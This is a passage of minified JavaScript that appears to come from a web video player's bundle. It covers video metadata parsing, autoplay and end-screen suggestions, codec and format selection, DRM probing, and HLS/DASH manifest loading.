BK=function(x,T,t,u,H){u=u===void 0?!1:u;H=H===void 0?!1:H;G8.call(this,t);this.isLive=u;this.N=!!H;this.levels=this.Z(x,T);this.K=new Map;this.levels.length>1&&this.levels[0].isDefault()&&this.levels.splice(0,1)};
ZxJ=function(x,T,t){return(x=x.levels[T])?x.AB(t):-1};
LB=function(x,T){var t=x.K.get(T);if(t)return t;t=x.levels.length;for(var u=0;u<t;u++)if(x.levels[u].width>=T)return x.K.set(T,u),u;x.K.set(T,t-1);return t-1};
WK=function(x,T,t,u){t=t.split("#");t=[t[1],t[2],0,t[3],t[4],-1,t[0],""].join("#");g.g0.call(this,x,T,t,0);this.Z=null;this.T=u?2:0};
DG=function(x,T,t,u){BK.call(this,x,0,void 0,T,!(u===void 0||!u));for(x=0;x<this.levels.length;x++)this.levels[x].Y1(t)};
jj3=function(x,T,t){T={cpn:T};x.indexOf("/ibw/")===-1&&(T.ibw=t?String(t):"1369843");return{url:g.NY(x,T),type:"application/x-mpegURL",quality:"auto",itag:"93"}};
g.NE=function(x,T){g.$B.call(this);var t=this;this.Pv=x;this.adaptiveFormats="";this.Bj=this.zG=this.adQueryId=this.o5=null;this.Xo={start:NaN,end:NaN};this.cueRanges=this.wb=null;this.b0=new Map;this.compositeLiveStatusToken=this.compositeLiveIngestionOffsetToken=this.tj=void 0;this.EU=this.drmParams="";this.eventLabel=null;this.allowEmbed=!0;this.allowLiveDvr=this.offlineable=this.backgroundable=!1;this.mu="";this.LX=!1;this.Pa=null;this.Xt=this.vE=this.eH=!1;this.K=null;this.ZM=this.vD=!1;this.tI=
NaN;this.applyStatefulNormalization=this.preserveStatefulLoudnessTarget=!1;this.maxStatefulTimeThresholdSec=0;this.PX=NaN;this.loudnessTargetLkfs=Infinity;this.minimumLoudnessTargetLkfs=-Infinity;this.U9=0;this.ZV=!1;this.oA=this.cycToken=null;this.author="";this.DM=!1;this.AQ=0;this.I8=!1;this.Vz=null;this.OA=[];this.zi=this.lh=!1;this.clientScreenNonce=this.playerResponseCpn=this.clientPlaybackNonce=this.videoCountText=this.hM=this.qz="";this.contentCheckOk=!1;this.limitedPlaybackDurationInSeconds=
this.endSeconds=this.tM=0;this.yS=this.tQ=this.Z=null;this.c5="";this.loading=!1;this.RW=this.OC=0;this.Wj=this.pipable=this.MK=this.isAutonav=!1;this.paidContentOverlayDurationMs=0;this.mutedAutoplay=this.VL=!1;this.mutedAutoplayDurationMode=0;this.isLiveHeadPlayable=this.isLivePlayback=this.SY=this.isPrivate=this.isListed=this.pI=this.hR=!1;this.P0="";this.isLowLatencyLiveStream=this.isLivingRoomDeeplink=this.isLiveDefaultBroadcast=this.zE=this.hQ=this.qI=!1;this.latencyClass="UNKNOWN";this.u4=
this.zg=this.sD=this.X7=this.Qj=this.enablePreroll=this.sZ=this.enableServerStitchedDai=this.CC=this.isMdxPlayback=this.isUpcoming=this.isPremiere=!1;this.mdxControlMode=null;this.isPharma=this.showSeekingControls=!1;this.L2=0;this.reloadReason="";this.u0=this.xu=this.cS=!1;this.keywords={};this.ra="";this.ir=0;this.IE=!1;this.unpluggedFilterModeType=0;this.liveChunkReadahead=NaN;this.EG=null;this.WV=this.lengthSeconds=0;this.playerParams=this.musicVideoType=null;this.xl=this.paygated=!1;this.XF=
[];this.yw=!1;this.Hv=[];this.rV=null;this.rz=this.racyCheckOk=!1;this.fp={};this.isProximaLatencyEligible=!1;this.k_=0;this.j=null;this.autonavState=1;this.jh=null;this.shortDescription="";this.uG=this.qH=!1;this.dN=this.Ym=this.startSeconds=0;this.Gq=this.Ks=this.Aj=yv;this.un=this.suggestions=null;this.j3=this.KX=void 0;this.isExternallyHostedPodcast=!1;this.Hm=null;this.expandedSubtitle=this.expandedTitle=this.subtitle=this.title="";this.y6=void 0;this.Lz=[];this.WD=[];this.hlsFormats=this.aH=
"";this.NW=this.Oz=this.Xh=this.L4=this.Cz=this.qY=this.ZG=null;this.Hh="vvt";this.Ap=!1;this.IA=null;this.m8="";this.M4=NaN;this.Rc=this.m_=this.mN=this.Jj=this.YO=this.IJ=this.t8=this.TN=this.aq=this.DF="";this.xG=null;this.Zj=!1;this.N={};this.clipStart=0;this.clipEnd=Infinity;this.PO=!1;this.heartbeatToken="";this.HO=this.Ub=NaN;this.C4=this.SH=this.zc=this.wx=this.l4=!1;this.KB=!0;this.S={};this.captionTracks=[];this.jG=[];this.D2=0;this.dL=[];this.U6=[];this.Pl=!1;this.zw={};this.Sd=new g.tv("und",
new g.iQ("Default","und",!0));this.xa=0;this.T=null;this.ea=[];this.g6=!1;this.wf=this.Zk="";this.slotPosition=-1;this.breakType=0;this.embeddedPlayerConfig=this.nf=this.l0=this.V7=this.playerResponse=this.d4=this.fu=this.DX=this.fd=this.Bb=this.SK=this.a$=null;this.Q6=!1;this.ZZ=null;this.isInlinePlaybackNoAd=this.kX=this.yj=this.useCobaltWidevine=this.X1=this.uF=!1;this.LM=!0;this.mY=this.nU=NaN;this.defraggedFromSubfragments=this.P5=this.hasSubfragmentedFmp4=!1;this.liveExperimentalContentId=NaN;
this.sabrContextUpdates=new Map;this.lH="";this.uv=!1;this.gatewayExperimentGroup="";this.Jw=this.Ee=this.WU=!1;this.interstitials=[];this.E0=this.oo=!1;this.O9="";this.allowImaMonetization=!1;this.y5="";this.ZH=!1;this.T2="";this.Xe=[];this.Of=[];this.k6="";this.HH=this.J=this.Ob=!1;this.tJ="";this.pT=this.yz=this.vB=this.readAheadGrowthRateMs=this.minReadAheadMediaTimeMs=this.maxReadAheadMediaTimeMs=NaN;this.showShareButton=!0;this.Yn=!1;this.UG=this.tR=!0;this.errorDetail=this.userGenderAge="";
this.LJ=this.x7=this.getSharePanelCommand=this.removeFromWatchLaterCommand=this.addToWatchLaterCommand=this.unsubscribeCommand=this.subscribeCommand=this.contextParams=this.p7=this.errorReason=this.errorCode=null;this.O6=this.Hl="";this.Qw=!1;this.aM=[];this.rp=this.QU=this.kP=this.ll=this.Q9=0;this.fetchType=null;this.Ba=!0;this.transitionEndpointAtEndOfStream=void 0;this.k7=this.AD=-1;this.Pm=this.pF=!1;this.F3=null;this.G9="";this.TP=!1;this.watchUrl=null;this.G$=[];this.visibleOnLoadKeys=[];this.QR=
[];this.inlineMetricEnabled=this.k$=!1;this.embedsRctn=this.embedsRct="";this.Zm=NaN;this.Tg=(0,g.bo)();this.VQ=this.JJ=0;this.VT=null;this.VI=0;this.lM=this.Lo=!1;this.FD=this.Pv.experiments.aU("html5_use_triple_equals");this.Rg=!1;this.oD=g.Z9(this.Pv.experiments,"html5_gapless_loop_seek_offset_in_milli");this.EA=0;this.Fe={};this.yF={setData:function(u){t.setData(u)},
vJ:function(){t.vJ()},
Uw:function(u){t.Uw(u)}};
this.pF=this.B("web_new_autonav_countdown");this.Pm=this.B("web_new_big_thumbnail_endscreen");this.setData(T);this.I5=new Z5;g.y(this,this.I5)};
g.Qv=function(x,T,t){T&&T.cpn&&g.Vh(new g.CS("CPN provided in VideoData update",{AHu:T.cpn,bq:x.clientPlaybackNonce,d_7:t}));t?(Hc(T),x.setData(T),Jj(x)&&x.vJ()):(T=T||{},eff(x,T),CB(x,T),lh5(x,T),x.publish("dataupdated"))};
lh5=function(x,T){x.fflags=uj(x.fflags,T.fflags);var t=T.iv_invideo_url;t&&(x.mu=T$(t));x.LX=ox(x.LX,T.iv_ads_only);if(t=T.cta_conversion_urls)x.o7=t;x.isPharma=ox(x.isPharma,T.is_pharma);x.author=uj(x.author,T.author);x.qz=mJi(T.ttsurl)||x.qz;x.I8=ox(x.I8,T.cc_asr);x.hM=uj(x.hM,T.channel_path);if(t=T.profile_picture)x.profilePicture=uj(x.profilePicture,t);x.videoCountText=uj(x.videoCountText,T.video_count_text);x.autonavState=tt(x.autonavState,T.autonav_state,dJm);if(x.B("html5_enable_ssap_entity_id")){var u;
t=!!T.cotn||!((u=x.playerResponse)==null||!u.cotn);u=g.Z9(x.Pv.experiments,"html5_entity_id_simplified_preferred_record_size");x.playerResponse&&!t&&(x.clientPlaybackNonce=MAv(x,x.playerResponse,u)||x.clientPlaybackNonce);x.clientPlaybackNonce||(T.cpn&&x.q2("ssei","uhdc"),x.clientPlaybackNonce=uj(x.clientPlaybackNonce,T.cpn))}else x.clientPlaybackNonce=uj(x.clientPlaybackNonce,T.cpn);x.subscribed=ox(x.subscribed,T.subscribed);x.rawViewCount=sY(x.rawViewCount,T.view_count);x.shortViewCount=uj(x.shortViewCount,
T.short_view_count_text);x.publishedTimeText=uj(x.publishedTimeText||"",T.publishedTimeText);x.lengthText=uj(x.lengthText||"",T.lengthText);x.sJ=uj(x.sJ||"",T.sJ);x.A6=uj(x.A6||"",T.A6);x.title=uj(x.title,T.title);x.subtitle=uj(x.subtitle,T.subtitle);x.expandedTitle=uj(x.expandedTitle,T.expanded_title);x.expandedSubtitle=uj(x.expandedSubtitle,T.expanded_subtitle);x.ypcPreview=uj(x.ypcPreview,T.ypc_preview);x.DH=uj(x.DH,T.ypc_origin);x.Ap=ox(x.Ap,T.ypc_is_premiere_trailer);x.tJ=uj(x.tJ,T.ypc_clickwrap_message);
x.paygated=ox(x.paygated,T.paygated);x.Zj=ox(x.Zj,T.requires_purchase);x.showShareButton=!ox(!x.showShareButton,T.ss);x.tR=ox(x.tR,T.showwatchlater);x.UG=ox(x.UG,T.shownotifybutton);x.Yn=ox(x.Yn,T.copy_share);if(u=T.el)x.eventLabel=u;if(u=T.keywords)x.keywords=A43(u.split(","));if(u=T.rvs)x.suggestions=tg(u).map(function(H){return H.playlist||H.list||H.api?new g.cK(x.Pv,H):new g.Yc(x.Pv,H)});
x.contentCheckOk=ox(x.contentCheckOk,T.cco);x.racyCheckOk=ox(x.racyCheckOk,T.rco);x.isLivingRoomDeeplink=ox(x.isLivingRoomDeeplink,T.is_living_room_deeplink);x.oauthToken=uj(x.oauthToken,T.oauth_token);x.ra=uj(x.ra,T.kpt);x.visitorData=uj(x.visitorData,T.visitor_data);if(u=T.session_data)x.sessionData=xD(u,"&");x.TG=uj(x.TG,T.endscreen_ad_tracking_data);x.Jn=ox(x.Jn,T.wait_for_vast_info_cards_xml);x.KJ=ox(x.KJ,T.suppress_creator_endscreen);x.uC=ox(x.uC,T.is_trueview_action);x.sP=uj(x.sP,T.tracking_list);
x.Hl=uj(x.Hl,T.clip);x.O6=uj(x.O6,T.clipt);RfV(x,T)};
MAv=function(x,T,t){var u,H=(u=T.cpnInfo)==null?void 0:u.cpn;x.playerResponseCpn=H!=null?H:"";g.pB(x)&&!H&&x.q2("ssei","eim_"+x.clientPlaybackNonce);var I;return((I=T.cacheMetadata)==null?0:I.isCacheHit)||x.zi||!H?"":(OP.has(H)?t="":(T=PCq.push(H),OP.add(H),T>(t!=null?t:50)&&(t=PCq.shift())&&OP.delete(t),t=H),H!==t&&x.q2("ssei","dcpn_"+H+"_"+t+"_"+x.clientPlaybackNonce),t)};
CB=function(x,T){var t=T.raw_watch_next_response;if(!t){var u=T.watch_next_response;u&&(t=JSON.parse(u))}if(t){x.nf=t;var H=x.nf.playerCueRangeSet;H&&g.fB(x,H);var I=x.nf.playerOverlays;if(I){var E=I.playerOverlayRenderer;if(E){var Z=E.autonavToggle;Z&&(x.autoplaySwitchButtonRenderer=g.N(Z,SFC),x.B("web_player_autonav_use_server_provided_state")&&w0(x)&&(x.autonavState=x.autoplaySwitchButtonRenderer.enabled?2:1));var e=E.videoDetails;if(e){var l=e.embeddedPlayerOverlayVideoDetailsRenderer;var m=e.playerOverlayVideoDetailsRenderer;
m&&(m.title&&(T.title=g.eb(m.title)),m.subtitle&&(T.subtitle=g.eb(m.subtitle)))}g.Gw(x.Pv)&&(x.tR=!!E.addToMenu);c4m(x,E.shareButton);E.startPosition&&E.endPosition&&(x.progressBarStartPosition=E.startPosition,x.progressBarEndPosition=E.endPosition);var d=E.gatedActionsOverlayRenderer;d&&(x.Zd=g.N(d,YFm));var M,A,R,Y=g.N((M=x.getWatchNextResponse())==null?void 0:(A=M.playerOverlays)==null?void 0:(R=A.playerOverlayRenderer)==null?void 0:R.infoPanel,UJf);if(Y){x.Zm=Number(Y==null?void 0:Y.durationMs)||
NaN;if(Y==null?0:Y.infoPanelOverviewViewModel)x.Nz=Y==null?void 0:Y.infoPanelOverviewViewModel;if(Y==null?0:Y.infoPanelDetailsViewModel)x.CB=Y==null?void 0:Y.infoPanelDetailsViewModel}x.showSeekingControls=!!E.showSeekingControls}}var b,z,F=(b=x.getWatchNextResponse())==null?void 0:(z=b.contents)==null?void 0:z.twoColumnWatchNextResults;if(F){var V=F.desktopOverlay&&g.N(F.desktopOverlay,bx3);V&&(V.suppressShareButton&&(x.showShareButton=!1),V.suppressWatchLaterButton&&(x.tR=!1))}l&&r4q(x,T,l);var B=
sY(0,T.autoplay_count),D=x.getWatchNextResponse(),f,O=(f=D.contents)==null?void 0:f.twoColumnWatchNextResults,sH,HX,xq,J=(sH=D.playerOverlays)==null?void 0:(HX=sH.playerOverlayRenderer)==null?void 0:(xq=HX.autoplay)==null?void 0:xq.playerOverlayAutoplayRenderer,X=QMm(x),c,C=(c=D.contents)==null?void 0:c.singleColumnWatchNextResults;if(C){var WX;if(((WX=C.autoplay)==null?0:WX.autoplay)&&!C.playlist){var PE=C.autoplay.autoplay.sets,j0={},r5=new g.Yc(x.Y()),w5=null,tM;if(PE){for(var md=g.S(PE),r=md.next();!r.done;r=
md.next()){var k=r.value.autoplayVideoRenderer;if(k&&k.compactVideoRenderer){w5=k.compactVideoRenderer;break}}if(tM=PE[0].autoplayVideo){var h=tM.clickTrackingParams;h&&(j0.itct=h);j0.autonav="1";j0.playnext=String(B)}}else j0.feature="related-auto";var L=g.N(tM,g.KB);if(w5){r5.videoId=w5.videoId;var a=w5.shortBylineText;a&&(r5.author=g.eb(a));var Ti=w5.title;Ti&&(r5.title=g.eb(Ti))}else L!=null&&L.videoId&&(r5.videoId=L.videoId);r5.lk=j0;x.suggestions=[];x.un=r5}}if(X){for(var u3=[],$q=g.S(X),n=
$q.next();!n.done;n=$q.next()){var qf=n.value,m3=void 0,IV=null;if(qf.endScreenVideoRenderer){var hf=qf.endScreenVideoRenderer,e0=hf.title;IV=new g.Yc(x.Y());IV.videoId=hf.videoId;IV.lengthSeconds=hf.lengthInSeconds||0;var gy=hf.publishedTimeText;gy&&(IV.publishedTimeText=g.eb(gy));var jQ=hf.shortBylineText;jQ&&(IV.author=g.eb(jQ));var Jf=hf.shortViewCountText;Jf&&(IV.shortViewCount=g.eb(Jf));if(e0){IV.title=g.eb(e0);var BI=e0.accessibility;if(BI){var Ig=BI.accessibilityData;Ig&&Ig.label&&(IV.ariaLabel=
Ig.label)}}var hC=hf.navigationEndpoint;if(hC){m3=hC.clickTrackingParams;var Ng=g.N(hC,g.KB),EA=g.N(hC,g.GQ);Ng?IV.Oa=Ng:EA!=null&&(IV.watchUrl=EA.url)}var DY=hf.thumbnailOverlays;if(DY)for(var WI=g.S(DY),ye=WI.next();!ye.done;ye=WI.next()){var An=ye.value.thumbnailOverlayTimeStatusRenderer;if(An)if(An.style==="LIVE"){IV.isLivePlayback=!0;break}else if(An.style==="UPCOMING"){IV.isUpcoming=!0;break}}IV.S=ME(hf.thumbnail)}else if(qf.endScreenPlaylistRenderer){var qg=qf.endScreenPlaylistRenderer,ha=
qg.navigationEndpoint;if(!ha)continue;var jz=g.N(ha,g.KB);if(!jz)continue;var vd=jz.videoId;IV=new g.cK(x.Y());IV.playlistId=qg.playlistId;IV.playlistLength=Number(qg.videoCount)||0;IV.C=vd||null;IV.videoId=vd;var G2=qg.title;G2&&(IV.title=g.eb(G2));var Ls=qg.shortBylineText;Ls&&(IV.author=g.eb(Ls));m3=ha.clickTrackingParams;IV.S=ME(qg.thumbnail)}IV&&(m3&&(IV.sessionData={itct:m3}),u3.push(IV))}x.suggestions=u3}if(J){x.Ba=!!J.preferImmediateRedirect;x.pF=x.pF||!!J.webShowNewAutonavCountdown;x.Pm=
x.Pm||!!J.webShowBigThumbnailEndscreen;if(x.pF||x.Pm){var b7=O||null,KA=new g.Yc(x.Y());KA.videoId=J.videoId;var NL=J.videoTitle;if(NL){KA.title=g.eb(NL);var tm=NL.accessibility;if(tm){var UX=tm.accessibilityData;UX&&UX.label&&(KA.ariaLabel=UX.label)}}var W9=J.byline;W9&&(KA.author=g.eb(W9));var eQ=J.publishedTimeText;eQ&&(KA.publishedTimeText=g.eb(eQ));var Pp=J.shortViewCountText;Pp&&(KA.shortViewCount=g.eb(Pp));var Sc=J.thumbnailOverlays;if(Sc)for(var cp=g.S(Sc),tA=cp.next();!tA.done;tA=cp.next()){var i2=
tA.value.thumbnailOverlayTimeStatusRenderer;if(i2)if(i2.style==="LIVE"){KA.isLivePlayback=!0;break}else if(i2.style==="UPCOMING"){KA.isUpcoming=!0;break}else if(i2.style==="DEFAULT"&&i2.text){KA.lengthText=g.eb(i2.text);var sM=i2.text.accessibility;if(sM){var uc=sM.accessibilityData;uc&&uc.label&&(KA.sJ=uc.label||"")}break}}KA.S=ME(J.background);var Yj=J.nextButton;if(Yj){var Uc=Yj.buttonRenderer;if(Uc){var bK=Uc.navigationEndpoint;if(bK){var ro=g.N(bK,g.KB);ro&&(KA.Oa=ro)}}}if(J.topBadges){var zy=
J.topBadges[0];if(zy){var kj=g.N(zy,zff);kj&&kj.style==="BADGE_STYLE_TYPE_PREMIUM"&&(KA.iCy=!0)}}var GT=J.alternativeTitle;GT&&(KA.A6=g.eb(GT));var bN={autonav:"1",playnext:String(B)};KA.playlistId&&(bN.autoplay="1");if(b7){var Lm,Jq,$K,FG,HM=(Lm=b7.autoplay)==null?void 0:(Jq=Lm.autoplay)==null?void 0:($K=Jq.sets)==null?void 0:(FG=$K[0])==null?void 0:FG.autoplayVideo;if(HM){var h0=HM.clickTrackingParams;h0&&(bN.itct=h0);var ic=g.N(HM,g.KB);ic&&(KA.jh=ic)}}else if(J){var vp,V5,Gy,LQ=(vp=J.nextButton)==
null?void 0:(V5=vp.buttonRenderer)==null?void 0:(Gy=V5.navigationEndpoint)==null?void 0:Gy.clickTrackingParams;LQ&&(bN.itct=LQ)}bN.itct||(bN.feature="related-auto");KA.lk=bN;x.suggestions||(x.suggestions=[]);x.un=KA}J.countDownSecs!=null&&(x.AD=J.countDownSecs*1E3);J.countDownSecsForFullscreen!=null&&(x.k7=J.countDownSecsForFullscreen>=0?J.countDownSecsForFullscreen*1E3:-1);x.B("web_autonav_color_transition")&&J.watchToWatchTransitionRenderer&&(x.watchToWatchTransitionRenderer=g.N(J.watchToWatchTransitionRenderer,
kOf))}var I3=QMm(x);if(I3){var MR,nQ,EM,qk=I3==null?void 0:(MR=I3[0])==null?void 0:(nQ=MR.endScreenVideoRenderer)==null?void 0:(EM=nQ.navigationEndpoint)==null?void 0:EM.clickTrackingParams,aE=g.X4(x);qk&&aE&&(aE.sessionData={itct:qk})}x.nf.currentVideoThumbnail&&(x.S=ME(x.nf.currentVideoThumbnail));var nm,go,Bp,aU,Wp,Ac=(nm=x.nf)==null?void 0:(go=nm.contents)==null?void 0:(Bp=go.twoColumnWatchNextResults)==null?void 0:(aU=Bp.results)==null?void 0:(Wp=aU.results)==null?void 0:Wp.contents;if(Ac&&Ac[1]){var DD,
y5,zn,PP,ns=(DD=Ac[1].videoSecondaryInfoRenderer)==null?void 0:(y5=DD.owner)==null?void 0:(zn=y5.videoOwnerRenderer)==null?void 0:(PP=zn.thumbnail)==null?void 0:PP.thumbnails;ns&&ns.length&&(x.profilePicture=ns[ns.length-1].url)}var NG=Hc(T),Z1,Rs=(Z1=x.getWatchNextResponse())==null?void 0:Z1.onResponseReceivedEndpoints;if(Rs)for(var Pe=g.S(Rs),jK=Pe.next();!jK.done;jK=Pe.next()){var aC=jK.value;g.N(aC,x7)&&(x.Ox=g.N(aC,x7));var Sr=g.N(aC,FO4),J0=void 0;if((J0=Sr)==null?0:J0.entityKeys)x.G$=Sr.entityKeys||
[],Sr.visibleOnLoadKeys&&(x.visibleOnLoadKeys=Sr.visibleOnLoadKeys)}if(x.B("web_key_moments_markers")){var BV=g.TT.getState().entities,E9=g.$Q("visibility_override","markersVisibilityOverrideEntity");var DQ=i1(BV,"markersVisibilityOverrideEntity",E9);x.Lz=(DQ==null?void 0:DQ.videoId)===(x.videoId||NG)&&(DQ==null?0:DQ.visibilityOverrideMarkersKey)?DQ.visibilityOverrideMarkersKey:x.visibleOnLoadKeys;x.visibleOnLoadKeys=[].concat(g.U(x.Lz))}}};
w0=function(x){var T;return((T=x.autoplaySwitchButtonRenderer)==null?void 0:T.enabled)!==void 0};
oU=function(x){return!!(x.j&&x.j.videoInfos&&x.j.videoInfos.length)};
g.HV=function(x){var T=x.J;x.B("html5_gapless_unlimit_format_selection")&&tB(x)&&(T=!1);var t=!!x.C&&x.C.B9,u=x.Pv,H=x.xN(),I=sD(x),E=x.Ee,Z=T,e=x.isOtf();T=x.po();var l=x.SY,m=x.getUserAudio51Preference(),d=uv(x),M=new sGf(u);if(u.AM()||u.B("html5_logging_format_selection"))M.Z=!0;M.AQ=I;M.Ee=E&&u.N;M.hQ=m;g.D2("windows nt 5.1")&&!g.WT&&(M.Dl=!0);if(I=H)I=g.xc(u)?sMq(u):!1;I&&(M.jY=!0);Z&&(M.Dl=!0,M.L2=!0);e&&!u.B("html5_otf_prefer_vp9")&&(M.Dl=!0);u.playerStyle==="picasaweb"&&(e&&(M.Dl=!1),M.uG=
!1);l&&(M.Dl=!0);Pt(u.T,SR.CHANNELS)&&(u.B("html5_enable_ac3")&&(M.K=!0),u.B("html5_enable_eac3")&&(M.T=!0),u.B("html5_enable_ac3_gapless")&&(M.QU=!0));u.B("html5_block_8k_hfr")&&(M.tQ=!0);M.D=g.Z9(u.experiments,"html5_max_selectable_quality_ordinal");M.N=g.Z9(u.experiments,"html5_min_selectable_quality_ordinal");Tw&&(M.kP=480);if(t||H)M.uG=!1;M.SY=!1;M.disableAv1=d;t=hy(u,M.C,void 0,M.disableAv1);t>0&&t<2160&&(A0()||u.B("html5_format_hybridization"))&&(M.C.supportsChangeType=+A0(),M.TC=t);t>=2160&&
(M.Om=!0);hm3()&&(M.C.serveVp9OverAv1IfHigherRes=0,M.rp=!1);M.po=T;M.G9=g.Qb||xi()&&!T?!1:!0;M.J=u.B("html5_format_hybridization");M.ra=u.B("html5_disable_encrypted_vp9_live_non_2k_4k");$7(x)&&(M.Zk=x.B("html5_prefer_language_over_codec"));Jg()&&x.playerResponse&&x.playerResponse.playerConfig&&x.playerResponse.playerConfig.webPlayerConfig&&x.playerResponse.playerConfig.webPlayerConfig.useCobaltTvosDogfoodFeatures&&(M.K=!0,M.T=!0);x.J&&x.isAd()&&(x.KX&&(M.ZZ=x.KX),x.j3&&(M.j=x.j3));M.nf=x.isLivePlayback&&
x.Ut()&&x.Pv.B("html5_drm_live_audio_51");M.Lz=x.yj;return x.F3=M};
uv=function(x){return x.Pv.B("html5_disable_av1")||x.B("html5_gapless_shorts_disable_av1")&&tB(x)?!0:!1};
hfV=function(x){a3("drm_pb_s",void 0,x.G9);x.tQ||x.C&&mV(x.C);var T={};x.C&&(T=N6H(x.I5,g.HV(x),x.Pv.T,x.C,function(t){return x.publish("ctmp","fmtflt",t)},!0,new Set));
T=new QF(T,x.Pv,x.X1,x.useCobaltWidevine?Jg()?iv(x):!1:!1,function(t,u){x.kc(t,u)});
g.y(x,T);x.SH=!1;x.loading=!0;lzi(T,function(t){a3("drm_pb_f",void 0,x.G9);for(var u=g.S(t),H=u.next();!H.done;H=u.next())switch(H=H.value,H.flavor){case "fairplay":H.tQ=x.tQ;H.pX=x.pX;H.nX=x.nX;break;case "widevine":H.yS=x.yS}x.ea=t;if(x.ea.length>0&&(x.T=x.ea[0],x.Pv.AM())){t={};u=g.S(Object.entries(x.T.C));for(H=u.next();!H.done;H=u.next()){var I=g.S(H.value);H=I.next().value;I=I.next().value;var E="unk";(H=H.match(/(.*)codecs="(.*)"/))&&(E=H[2]);t[E]=I}x.kc("drmProbe",t)}x.vJ()})};
vYJ=function(x,T){if(T.length===0||IU(x))return null;ED(x,"html5_enable_cobalt_experimental_vp9_decoder")&&(zW=!0);var t=x.wb;var u=x.lengthSeconds,H=x.isLivePlayback,I=x.qI,E=x.Pv,Z=y0D(T);if(H||I){E=E.experiments;u=new jP("",E,!0);u.Z=!I;u.B9=!0;u.isManifestless=!0;u.isLive=!I;u.qI=I;T=g.S(T);for(H=T.next();!H.done;H=T.next()){var e=H.value;H=mj(e,t);Z=kW(e);Z=MK(Z.Y7||e.url||"",Z.M9,Z.s);var l=Z.get("id");l&&l.includes("%7E")&&(u.S=!0);var m=void 0;l=(m=E)==null?void 0:m.aU("html5_max_known_end_time_rebase");
m=Number(e.targetDurationSec||5);e=Number(e.maxDvrDurationSec||14400);var d=Number(Z.get("mindsq")||Z.get("min_sq")||"0"),M=Number(Z.get("maxdsq")||Z.get("max_sq")||"0")||Infinity;u.Q9=u.Q9||d;u.ll=u.ll||M;var A=!t0(H.mimeType);Z&&E4(u,new wD(Z,H,{XR:m,Ns:A,jm:e,Q9:d,ll:M,N8:300,qI:I,Su:l}))}t=u}else if(Z==="FORMAT_STREAM_TYPE_OTF"){u=u===void 0?0:u;I=new jP("",E.experiments,!1);I.duration=u||0;E=g.S(T);for(u=E.next();!u.done;u=E.next())u=u.value,T=mj(u,t,I.duration),H=kW(u),(H=MK(H.Y7||u.url||"",
H.M9,H.s))&&(T.streamType==="FORMAT_STREAM_TYPE_OTF"?E4(I,new KX(H,T,"sq/0")):E4(I,new HT(H,T,h7(u.initRange),h7(u.indexRange))));I.isOtf=!0;t=I}else{u=u===void 0?0:u;I=new jP("",E.experiments,!1);I.duration=u||0;E=g.S(T);for(u=E.next();!u.done;u=E.next())Z=u.value,u=mj(Z,t,I.duration),T=h7(Z.initRange),H=h7(Z.indexRange),l=kW(Z),(Z=MK(l.Y7||Z.url||"",l.M9,l.s))&&E4(I,new HT(Z,u,T,H));t=I}I=x.isLivePlayback&&!x.qI&&!x.hQ&&!x.isPremiere;x.B("html5_live_head_playable")&&(!q$(x)&&I&&x.kc("missingLiveHeadPlayable",
{}),x.Pv.ZZ==="yt"&&(t.AQ=!0));return t};
IU=function(x){return Jg()?!iv(x):QX()?!(!x.tQ||!x.B("html5_enable_safari_fairplay")&&oQ()):!1};
iv=function(x){return x.B("html5_tvos_skip_dash_audio_check")||MediaSource.isTypeSupported('audio/webm; codecs="opus"')};
g.fB=function(x,T){T=g.S(T);for(var t=T.next();!t.done;t=T.next())if(t=t.value,t.cueRangeSetIdentifier){var u=void 0;x.b0.set(t.cueRangeSetIdentifier,(u=t.playerCueRanges)!=null?u:[])}};
ZF=function(x){return!(!x.C||!x.C.isManifestless)};
jV=function(x){return x.FD?x.isLowLatencyLiveStream&&x.C!=null&&SP(x.C)>=5:x.isLowLatencyLiveStream&&x.C!=void 0&&SP(x.C)>=5};
VA3=function(x){return Jg()&&iv(x)?!1:IU(x)&&(g.Yv(x.Pv)?!x.isLivePlayback:x.hlsvp)||!oQ()||x.lh?!0:!1};
nYV=function(x){x.loading=!0;x.zc=!1;if(GOi(x))g.tAV(x.videoId).then(function(u){LOm(x,u)}).then(function(){x.vJ()});
else{Xc(x.Jq)||g.Vh(new g.CS("DASH MPD Origin invalid: ",x.Jq));var T=x.Jq,t=g.Z9(x.Pv.experiments,"dash_manifest_version")||4;T=g.NY(T,{mpd_version:t});x.isLowLatencyLiveStream&&x.latencyClass!=="NORMAL"||(T=g.NY(T,{pacing:0}));wpC(T,x.Pv.experiments,x.isLivePlayback).then(function(u){x.T9()||(eV(x,u,!0),a3("mrc",void 0,x.G9),x.vJ())},function(u){x.T9()||(x.loading=!1,x.publish("dataloaderror",new r4("manifest.net.retryexhausted",{backend:"manifest",
rc:u.status},1)))});
a3("mrs",void 0,x.G9)}};
LOm=function(x,T){var t=T.map(function(e){return e.itag}),u;
if((u=x.playerResponse)!=null&&u.streamingData){u=[];if(x.B("html5_offline_always_use_local_formats")){t=0;for(var H=g.S(T),I=H.next();!I.done;I=H.next()){I=I.value;var E=Object.assign({},I);E.signatureCipher="";u.push(E);E=g.S(x.playerResponse.streamingData.adaptiveFormats);for(var Z=E.next();!Z.done;Z=E.next())if(Z=Z.value,I.itag===Z.itag&&I.xtags===Z.xtags){t+=1;break}}t<T.length&&x.kc("offnpf",{prlen:t,lflen:T.length})}else for(H=g.S(x.playerResponse.streamingData.adaptiveFormats),E=H.next(),
I={};!E.done;I={j7:void 0},E=H.next())if(I.j7=E.value,x.B("html5_fix_multi_audio_offline_playback"))for(E=g.S(T),Z=E.next();!Z.done;Z=E.next())Z=Z.value,Z.itag===I.j7.itag&&Z.xtags===I.j7.xtags&&(I.j7=Object.assign({},I.j7),I.j7.url=T.find(function(e){return function(l){return l.itag===e.j7.itag}}(I)).url,I.j7.signatureCipher="",u.push(I.j7));
else t.includes(I.j7.itag)&&(I.j7=Object.assign({},I.j7),I.j7.url=T.find(function(e){return function(l){return l.itag===e.j7.itag}}(I)).url,I.j7.signatureCipher="",u.push(I.j7));
u.length<2&&x.kc("offmlf",{len:u.length});T=vYJ(x,u);sD(x)&&Tcf(T,!1);eV(x,T);x.kc("dlr",{})}else x.kc("offsdm",{cotn:x.l0?x.l0.cotn:"0",cpn:x.clientPlaybackNonce})};
ahq=function(x){var T;return!((T=x.Pv.getWebPlayerContextConfig())==null||!T.enableProximaLowLatency)};
lv=function(x){if(!x.isProximaLatencyEligible)return 0;var T=WZ();return ahq(x)?2:T===1?1:x.B("html5_enable_proxima")?2:0};
